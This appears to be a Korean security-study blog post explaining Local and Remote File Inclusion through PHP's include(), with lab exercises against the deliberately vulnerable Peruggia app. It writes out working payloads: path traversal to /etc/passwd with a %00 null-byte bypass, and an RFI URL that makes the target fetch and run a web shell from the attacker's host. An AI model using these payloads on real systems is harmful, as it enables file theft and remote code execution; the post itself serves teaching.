[인프라와 웹의 위협기술]22. LFI와 RFI 개요

2025. 12. 19. 04:12·cs/sec
728x90

LFI와 RFI 개요

LFI

  • Local File Include
  • 웹 서버가 링크 호출을 통해 특정 파일을 받아오는 구조를 가지고 있을 때(Ex : 이미지 호출)
  • ../와 같은 path traversal 취약점을 사용하여 웹 서버 내부 파일을 호출할 수 있는 취약점

RFI

  • Remote File Include
  • LFI와 기본적인 구조는 같지만, 외부 웹 서버에 있는 악성 모듈을 취약점을 가진 웹 서버가 호출하게 한 후 웹 서버 내에서 악성행위를 한다. 웹 서버에 원격으로 공격자의 코드를 사용한다.

LFI와 RFI의 핵심적인 차이점

  • 파일을 포함시킬 때 포함시킬 파일이 취약한 서버의 내부에 있으면 LFI, 취약한 서버의 외부에 있으면 RFI

공격 진행

- 웹 서버 - 

(이미지 호출 페이지)

include(받아오는 값);

⇒ 정상적인 값인 image.png가 입력되면

include(image.png);

⇒ 해당 이미지 호출 페이지가 존재하는 디렉터리 안에 있는 image.png가 호출된다.

LFI

- 웹 서버 - 

(이미지 호출 페이지)

include(받아오는 값);

⇒ ../../../../etc/passwd 입력하게 되면

include(../../../../etc/passwd);

⇒ 웹 서버를 벗어나서 /etc/passwd라는 계정 정보가 담긴 파일을 호출한다.

RFI

먼저 공격자는 공격용 웹서버를 제작한 후, 그곳에 악성 스크립트를 업로드 해야한다.

⇒ 취약한 웹서버에서 http를 이용해 공격자의 웹서버에서 악성 스크립트를 받아오도록 하기위함이다.

- 웹 서버 - 

(이미지 호출 페이지)

include(받아오는 값);

⇒그 후 http://공격자의웹서버/webshell.php와 같은 코드를 입력

include(http://공격자의웹서버/webshell.php);

⇒ 그러면 공격자의 웹서버에서 웹쉘을 받아 온 후 페이지에서 실행시킨다.

include()함수

  • PHP에서 다른 파일을 현재 실행 중인 파일에 포함시킬 때 사용하는 함수입니다.
  • 포함된 파일의 코드는 현재 파일의 코드와 함께 실행됩니다.
  • 사용자 입력으 통해 포함할 파일명을 지정할 경우, 검증되지 않은 파일이 포함되어 악의적인 행동을 할 수 있습니다.
  • 아래와 같이 쓰여진 경우 악의적으로 이용될 가능성이 있습니다.

LFI 시스템 정보 탈취 실습: Peruggia Case

실습PC

[Attacker_Kail2.0]

IP:192.168.10.10/24

 

[OWASPBWA_Ubuntu 1]

IP:192.168.40./24

Domain: http://brokenweb.com

  • 가상머신을 켜고 'http://brokenweb.com/peruggia'에 접속합니다.
  • 메뉴를 클릭해보면, action 매개변수가 메뉴에 따라 변경되는 것을 확인할 수 있습니다.
  • 즉, 해당 웹 사이트는 페이지를 이동할 때, URL을 전체 변경하는 방식으로 이동하는 것이 아닌, 이동할 페이지를 index.php페이지에 포함시키는 방식으로 동작함을 알 수 있습니다.

  • action 매개변수에 정보를 탈취하기 위한 경로를 입력합니다.
  • 아래와 같이 '../../../../../../../etc/passwd'를 입력해도 아무런 정보를 얻을 수 없다는 것을 확인할 수 있습니다.
  • 이때, '%00' 종단 문자를 활용하면 서버가 경로 끝으로 인식하여 /etc/passwd 파일에 접근할 수 있습니다.
http://brokenweb.com/peruggia/index.php?action=../../../../../../../etc/passwd

http://brokenweb.com/peruggia/index.php?action=../../../../../../../etc/passwd%00

LFI

- 웹 서버 - 

(이미지 호출 페이지)

include(받아오는 값.".php");

⇒ ../../../../etc/passwd%00 입력하게 되면

 

- 웹 서버 - 

(이미지 호출 페이지)

include(../../../../etc/passwd%00.php");

⇒ 이때 %00은 종단문자이기 때문에, 서버는 뒤에 오는 .php를 무시하게 됩니다. 따라서

include(../../../../etc/passwd);

⇒ 와 같이 해석된다.


RFI 시스템 정보 탈취 실습: Peruggia Case

실습PC

[Attacker_Kail2.0]

IP:192.168.10.10/24

 

[OWASPBWA_Ubuntu 1]

IP:192.168.40./24

Domain: http://brokenweb.com

  • 가상머신을 켜고 'http://brokenweb.com/peruggia/index2.php'  에 접속합니다.

  • 터미널을 켜고 공격자용 웹서버를 켜줍니다.
    • 이 때, php엔진을 종료해야 공격자의 서버에서 악성 스크립트 동작을 막을 수 있습니다.
    • 아래 명령어로 악성 스크립트를 확인할 수 있습니다.
cat /var/www/html/3_plugin_twindow/skin_gray/frame_design.php

  • action 매개변수에 공격자 서버의 악성 스크립트 경로를 입력하여 악성스크립트를 실행시킵니다.
http://brokenweb.com/peruggia/index2.php?action=http://192.168.10.10/3_plugin_twindow/skin_gray/frame_design.php

728x90
반응형

'cs > sec' 카테고리의 다른 글

[실습] 쉘 코드의 GetPC 루틴 구현 및 디버깅 실습 (FSTENV 패턴)  (0) 2025.12.19
[이론] 쉘 코드 개요  (0) 2025.12.19
웹 서비스 해킹을 위한 버프스위트 활용 가이드  (1) 2025.12.19
[인프라와 웹의 위협기술]7. 윈도우의 권한상승 케이스 분석 - Fodhelper UAC Bypass  (0) 2025.12.18
[인프라와 웹의 위협기술]6. 포트 포워딩을 이용한 피버팅 환경 구성  (0) 2025.12.16
'cs/sec' 카테고리의 다른 글
  • [실습] 쉘 코드의 GetPC 루틴 구현 및 디버깅 실습 (FSTENV 패턴)
  • [이론] 쉘 코드 개요
  • 웹 서비스 해킹을 위한 버프스위트 활용 가이드
  • [인프라와 웹의 위협기술]7. 윈도우의 권한상승 케이스 분석 - Fodhelper UAC Bypass
lakedata
lakedata
lakedata 님의 블로그 입니다.
  • lakedata
    lakedata 님의 블로그
    lakedata
  • 전체
    오늘
    어제
    • 분류 전체보기 (188)
      • cs (82)
        • dev (28)
        • sec (29)
        • ops (25)
      • 자격증 (32)
        • 정보처리기사 (20)
        • 정보보안기사 (1)
        • aws dva (6)
        • aws dop (2)
      • IT서적 (27)
        • 클린아키텍처 (10)
        • 객체지향의사실과오해 (7)
        • 오브젝트 (10)
      • 코테 (42)
        • 알고리즘 (20)
        • 백준 (13)
        • 프로그래머스 (7)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • github
  • 공지사항

  • 인기 글

  • 태그

    Java
    docker
    Spring
    AWS
    SQL
    알고리즘
    CS
    Security
  • 최근 댓글

  • 최근 글

  • 반응형
    250x250
  • hELLO· Designed By정상우.v4.10.3
lakedata
[인프라와 웹의 위협기술]22. LFI와 RFI 개요
상단으로

티스토리툴바